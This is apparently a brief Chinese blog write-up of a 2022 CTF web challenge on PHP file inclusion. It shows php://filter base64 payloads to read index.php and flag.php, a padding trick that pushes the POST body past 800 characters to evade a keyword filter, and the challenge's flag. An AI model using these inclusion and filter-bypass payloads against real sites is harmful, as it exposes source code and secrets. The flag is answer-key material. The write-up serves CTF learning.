[鹏城杯 2022]简单包含

最新推荐文章于 2024-11-13 19:31:05 发布

flag{Funny_web}

最新推荐文章于 2024-11-13 19:31:05 发布

阅读量302

点赞数 4

文章标签：网络安全

本文链接：https://blog.youkuaiyun.com/weixin_44833249/article/details/139610945

版权

关联知识点：PHP伪协议，文件包含，php

打开环境，代码审计，通过post传导flag变量，包含传入的flag变量，又告诉了flag的位置，所以直接payload:?flag=/var/www/html/flag.php,发送

又尝试filter过滤器尝试发送也不行被过滤了，访问index.php查看源代码

payload:?flag=php://filter/read=convert.base64-encode/resource=index.php

将返回的一串base64编码进行解密操作

有两个条件，post传入的内容小于800长度并且传入的path变量不能有flag

后面的条件不好不满足，所以只需要将字符长度达到800就行

Payload:a=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&flag=php://filter/read=convert.base64-encode/resource=/var/www/html/flag.php

将返回的base64编码进行解码即可